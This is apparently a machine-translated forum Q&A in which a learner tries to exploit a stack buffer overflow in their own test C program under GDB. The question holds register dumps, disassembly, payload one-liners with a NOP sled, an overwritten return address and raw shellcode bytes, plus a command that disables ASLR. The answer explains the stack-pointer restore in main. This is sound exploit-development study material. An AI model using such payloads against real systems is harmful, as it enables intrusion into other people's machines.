Buffer Overflow Example

I am working on examples of a buffer overflow exploit and wrote a basic vulnerable C application for testing: (the target and the attacker are one Kali 2 machine and run "echo" 0 "> / proc / sys / kernel / randomize_va_space")

#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char *argv[]) { char buffer[256]; if (argc != 2) { exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } 

Now, with some testing in GDB, I can cause a seg error by putting 260 bytes in the buffer:

 r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52') 

with registers showing:

 eax 0x105 261 ecx 0xffffd300 -11520 edx 0xf7fb3878 -134530952 ebx 0xf7fb2000 -134537216 esp 0xffffd300 0xffffd300 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 

I think I can successfully gain control over EIP, given the 0x424242 above (although EBP is 0x0 ??)

Question 1.

With a buffer of 260 bytes, EIP is overridden as described above. Using:

 r $(python -c 'print "A" * 512') 

I find that SEGSEGV is at 0x080484b4 with registers

 eax 0x201 513 ecx 0x41414141 1094795585 edx 0xf7fb3878 -134530952 ebx 0xf7fb2000 -134537216 esp 0x4141413d 0x4141413d ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x80484b4 0x80484b4 <main+89> eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 

I would think that if 260 takes control of EIP, should not the 512-byte example also follow? Why does script 512 allow EIP to point to ret in this case, and not to 0x424242, as in the example with byte 260 bytes above?

Question 2.

I created a payload that is 87 bytes. I entered the payload in the initial 204 bytes as shown below

 r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)') 

My main disas section is as follows

  0x0804845b <+0>: lea 0x4(%esp),%ecx 0x0804845f <+4>: and $0xfffffff0,%esp 0x08048462 <+7>: pushl -0x4(%ecx) 0x08048465 <+10>: push %ebp 0x08048466 <+11>: mov %esp,%ebp 0x08048468 <+13>: push %ecx 0x08048469 <+14>: sub $0x104,%esp 0x0804846f <+20>: mov %ecx,%eax 0x08048471 <+22>: cmpl $0x2,(%eax) 0x08048474 <+25>: je 0x8048480 <main+37> 0x08048476 <+27>: sub $0xc,%esp 0x08048479 <+30>: push $0x0 0x0804847b <+32>: call 0x8048340 < exit@plt > 0x08048480 <+37>: mov 0x4(%eax),%eax 0x08048483 <+40>: add $0x4,%eax 0x08048486 <+43>: mov (%eax),%eax 0x08048488 <+45>: sub $0x8,%esp 0x0804848b <+48>: push %eax 0x0804848c <+49>: lea -0x108(%ebp),%eax 0x08048492 <+55>: push %eax 0x08048493 <+56>: call 0x8048310 < strcpy@plt > 0x08048498 <+61>: add $0x10,%esp 0x0804849b <+64>: sub $0xc,%esp 0x0804849e <+67>: lea -0x108(%ebp),%eax 0x080484a4 <+73>: push %eax 0x080484a5 <+74>: call 0x8048320 < puts@plt > 0x080484aa <+79>: add $0x10,%esp 0x080484ad <+82>: mov -0x4(%ebp),%ecx 0x080484b0 <+85>: leave 0x080484b1 <+86>: lea -0x4(%ecx),%esp => 0x080484b4 <+89>: ret 

Putting a gap at 56 (0x08048493) and looking at ESP x / 2wx $ esp, I can find that:

 0xffffd220: 0xffffd230 0xffffd56b 

and x / s 0xffffd56b

 0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>... (gdb) 0xffffd633: "BBBBCCCC", 'D' <repeats 52 times> 

Thus, it can be deduced (hopefully correctly) that EIP must be \ x6b \ xd5 \ xff \ xff in order to invoke the exploit, and substituting all the parts as shown below (using nop sled):

 r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)') 

Unfortunately, the program now simply ends normally when "[Inferior 1 (process 2863) exited normally)". Am I missing something or just getting out of the right path ...? Also, I notice that the breaks are not interrupted in the statement above?

- Change

Sent to make more sense after leaving the clock on the screen :)

+5
source share
1 answer

Note that the original stack pointer is stored on the stack and restored immediately before ret . Therefore, if you overwrite the stack, you can also overwrite the stack pointer that will be used for ret . main is special because in the prolog it has a stack alignment code.

However, the expected behavior is actually the second case, and the first is special. Your line has the correct length, so ending with zero overwrites the low byte of the stored stack pointer, which is enough to make it a little smaller in memory, but still inside your line. The exact location will depend on the location of the stack, it will not always be your BBBB , in fact for me it is somewhere in the AAAA part. Please note that even when ASLR is disabled, the stack structure may change due to the environment, so even if you use an exploit that runs in gdb, it may not work reliably or not from the shell at all.

+1
source

Source: https://habr.com/ru/post/1235447/


All Articles